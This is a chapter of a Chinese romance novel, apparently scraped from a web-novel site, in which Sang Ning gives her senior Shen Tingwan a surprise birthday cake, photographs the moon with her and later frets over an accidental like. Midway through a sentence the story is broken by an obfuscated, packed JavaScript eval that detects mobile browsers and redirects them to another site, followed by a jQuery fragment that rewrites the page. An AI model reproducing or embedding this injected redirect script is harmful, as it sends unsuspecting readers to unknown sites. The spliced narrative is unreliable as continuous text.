大一时，她偶然听沈听晚朋友提到的。桑宁当然知道不能这么回答，临时找了个理由，“听蔚姐提了下。”
说得还算淡定。
“这样。”沈听晚笑，是蔚雪的行事风格，有点什么恨不得全世界都知道，“谢谢。”
桑宁暗戳戳松口气，蹩脚的理由似乎没被识破。她没问沈听晚怎么一个人，怕有什么不开心的事。
说起来，她从没见过沈听晚不开心的模样，不管什么时候，沈听晚都是从容洒脱的姿态。所以大家总说沈学姐挑不出一点缺点，连负面情绪都没有。
人怎么会没有负面情绪呢？桑宁也常常被夸乐观，但她明白，很多时候不好的只是被自己默默消化了。
简单祝福过后又回归平静，桑宁还是觉得太少。
沈听晚原以为今晚碰个杯就算庆祝生日了，直到十几分钟后，她见桑宁接了个电话，出去了一趟。
回来后，桑宁手里多提了个蛋糕盒。
沈听晚愣住，不可置信似的，问面前的人：“特意给我买的？”
桑宁被问着了，心想也没别人生日。
沈听晚想笑，桑宁大概永远不会说出“我特意给你买的”，这样热情的话。
桑宁默认，平静答：“临时只能买个小的。”和刚刚那句“生日快乐”一样，听着只是出自礼貌，没有其他。
她头一回自作主张，就是觉得，沈听晚的生日不应该敷衍就过去了。
“小的刚刚好，太大我们两个人吃不完。”沈听晚还意外着，忽然而至总是比提前准备要多些惊喜，就像刚刚突然听到的那声“生日快乐”，很心暖。
桑宁拆开蛋糕包装，问服务生借了个打火机，小心翼翼将蜡烛点燃。
小火苗跃动起来。
沈听晚瞧见清秀白净的脸庞上映了一抹暖色，神情还是平淡温和，她不动声色笑了笑，没见过个这样“不冷不热”给人准备惊喜的。也是还人情的一部分？
桑宁低头点好生日蜡烛，又看向沈听晚，“好了。”
沈听晚会意，闭上眼睛，有些突然的，许今年的生日愿望。
趁她闭眼，桑宁目光放肆许多，直直落在她脸庞，心像蜡烛的火苗一样，无声跃动。时光好没用，什么都没改变，明知道是不可能的人，她还是控制不住喜欢……
在沈听晚睁开眼睛之前，她收敛住不规矩的眼神。
沈听晚吹灭蜡烛，“吃蛋糕。”
青柠味的，甜度恰好，清爽不腻。
沈听晚又有一点小惊喜，连蛋糕也刚好是自己喜欢的口味。她不禁对桑宁说：“你怎么这么会买？”
桑宁明知故问：“什么？”
沈听晚：“很喜欢这个口味。”
桑宁低声应：“我也是。”
沈听晚：“这么巧。”
桑宁哼了声“嗯”，其实心虚。沈听晚的口味还是没变。
吃着蛋糕，沈听晚又问：“你什么时候生日？”
桑宁含糊说：“还早。”
沈听晚没让她蒙混过去，追问着：“哪一天？”
桑宁只好具体回答：“平安夜前一天。”
沈听晚说了声“嗯”。
桑宁含了口蛋糕到嘴里，软绵，甜丝丝的。
两人又说了点毕业之后的事，学姐学妹之间中规中矩的聊天。
这顿饭氛围是安静的，但沈听晚觉得舒服，偶尔说几句话，言语间没复杂心思，不弯弯绕绕，随意放松。
两人走出餐厅。
夜深了些，星星也多了些。
夜风温柔，又带着夏日的热情。
桑宁抬头望去，天上的一轮明月皎皎，好美。耳朵不好之后，眼睛变得更敏锐了，总能第一时间发现漂亮事物。
沈听晚也跟着抬头看去，今夜无云，星星和月亮都明亮，她轻叹：“今晚月亮好漂亮。”
桑宁闻声稍稍回头，看见沈听晚同样仰着头，笑意柔和，恍然觉得月亮不在天上，而在自己身边，好近好近。
沈听晚也偏过头。
桑宁这次没来得及躲开目光，跟她碰上。
对视了眼，沈听晚问她：“要不要拍一下？”
桑宁发现自己心思好像被识破了，她看到漂亮的风景就想收进照片里，多年的习惯。
没有相机，只能将就用手机，桑宁拿出手机，对着夜空，尝试合适的比例，角度，构图。
沈听晚安静站在一旁，看见某人一拍起照来又沉浸了。
桑宁拍到满意的画面，嘴角会不自觉弯起来，她自己也没意识到这点。
沈听晚看到了，她盯着桑宁嘴角，可能是心情好，今晚笑得比以往都甜。她忍不住问：“就这么开心？”
桑宁没听清，转过头看沈听晚，“什么？”
沈听晚眼底一时全是清澈干净的笑容，她安静看了会儿，尔后轻声说：“你拍。”
她对桑宁的印象就是“简单”，说话是，笑起来也是。
她遇见过形形色色的人，知道戴不同面具凹各种人设，都不难；反而是这种简单干净的气质难以伪装，所以少见。
沈听晚看看月亮，又看看身畔的人，本来乏味的心情忽而轻快许多，意外过了一个舒服惬意的生日，很特别。
拍好后，桑宁收起手机。
沈听晚感兴趣，“看看。”
桑宁侧身，又将手机递过去。
沈听晚垂着眸，“好看，不愧是专业的。”
桑宁余光飞快扫了扫她侧脸。被夸了，开心的。
拍了几分钟的月亮，桑宁没听到沈听晚说其他安排，估计跟自己呆久了也闷……她主动说：“没其他事，我回去了。”
沈听晚瞧她似乎迫不及待，正好自己也有点累，“我也回去，一起。”
桑宁：“不麻烦学姐了。”
又是保持距离的一句，沈听晚这时偏朝她靠近，看着她，温声反问：“如果学姐不觉得麻烦呢？”
两人站得近，桑宁瞧着她的笑，恍然有亲昵的错觉。
沈听晚张了张唇，“走了，上车。”
这句话肯定说得温柔，因为没听清，桑宁很想听清沈听
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361030|183681||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
晚轻声说话的嗓音，但对她来说太难了，除非沈听晚贴在她右耳说话，不可能的……
返程路上，她们照旧没聊天，沈听晚放了些轻柔放松的音乐。
过了五首歌的时间，沈听晚将车停在了上次的公寓门口。
下车前，沈听晚将人叫住，“桑宁。”
又叫了自己的名字，桑宁回头。
“今晚很开心。”沈听晚眼底含笑，回国之后，她一直忙碌紧绷，好久没像今晚这样舒服放松了。
桑宁分不清这是礼貌的还是真心的，但她接收到了沈听晚的意思，这份开心与自己有关。
她朝沈听晚浅笑，在心里偷偷说了句“我也是”。
她对沈听晚说了生日快乐，沈听晚吃了她买的生日蛋糕，她们一起看了月亮，一起听了一路的歌……
不论哪一件事，都能让她开心很久。
沈听晚低声笑说：“再见。”
桑宁也低声说：“学姐再见。”
沈听晚觉得她身上有种特别的感觉，明明看着疏离淡然，但眼神又很柔软。
*
回到公寓，桑宁第一时间打开空调，让室内气温降下来。
七月的桦城燥热，已经离不开冷气。她洗完澡从浴室出来，冷空气扑面，身上起了层小鸡皮疙瘩。
今晚发生了太多事，有点让她消化不过来，以至于到夜深，都清醒睡不着。
冷气太足，桑宁裹了裹身上的空调被，百无聊赖，拿起手机发了条朋友圈，晚上拍的那张月亮。
冷冷清清，藏着心事。
陆续有人点赞，她不以为意，直到跳出一个熟悉的头像，她才点进去通知查看。
沈听晚给她点了赞。
她愣愣看着出神，有种说不清的微妙心情。
原来沈听晚会看朋友圈，沈听晚一年也发不了几次动态，她还以为沈听晚平时都不会关注这些。
睡不着，她又点进沈听晚的头像，轻车熟路地进入主页。
沈听晚上次发朋友圈是几个月前，连回国都没发，所以她压根不知道沈听晚回国的事。
桑宁按顺序一条条往下看着，每一条都是看过的，熟悉。
沈听晚很少发自己，大部分是风景。
再往下，是一条弹钢琴的视频，桑宁又点了进去，其实看过好多遍了，每次看还是会出神——总会想到迎新晚会上沈听晚弹琴时的模样，那时她第一次明白，怦然心动的感觉。
又看了几遍，桑宁想退出时，指尖不小心滑过左下角，看见突然亮起的红心，一个心脏骤停，她迅速点了取消。
心咚咚直跳，她放下手机，默默拉过被子蒙住脑袋，深呼吸了好几遍。
安慰自己。
沈听晚不会注意到的。
……
沈听晚也还没睡，她很少看朋友圈，但会定期清理消息通知，淡淡一瞥，她还以为自己看错了，确实是桑宁的头像。
点赞了自己的朋友圈。
沈听晚进去查看，微微蹙眉。
一条三年前的朋友圈。